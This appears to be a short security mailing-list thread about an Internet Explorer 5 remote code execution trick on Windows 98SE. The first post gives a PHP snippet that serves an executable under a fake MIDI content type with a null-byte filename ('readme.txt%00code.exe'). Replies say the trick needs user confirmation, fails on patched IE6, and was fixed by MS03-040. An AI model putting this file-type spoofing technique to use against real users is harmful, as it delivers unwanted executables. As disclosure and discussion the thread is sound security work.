Onderwerp: IE remote code execution

This code can execute any code remotely using IE - as you can see very simple.

// for IE 5, tested on default Windows 98SE installation
<?php
Header("Content-type: audio/midi");
Header("Content-Disposition: inline; filename=readme.txt%00code.exe");
readfile("code.exe");
?>
<noscript>

Here you have a demo:

Can we expect more surprises like this one?

Hi,

NO effect on :

Internet Explorer 6 SP1 (Windows XP)
Internet Explorer 6 For Windows 2003 Server

The user MUST accept to execute the file by clicking "YES", so it's not more dangerous than a direct link to an .exe file ...

Regards.

This is not new, I reported this in 2001:

A default Windows 98SE installation is several years behind in patches.

This does not reproduce on any IE browser that has been patched the last
year or so.

If in doubt about your IE patch level apply the latest cumulative patch
MS03-040, which can be found at
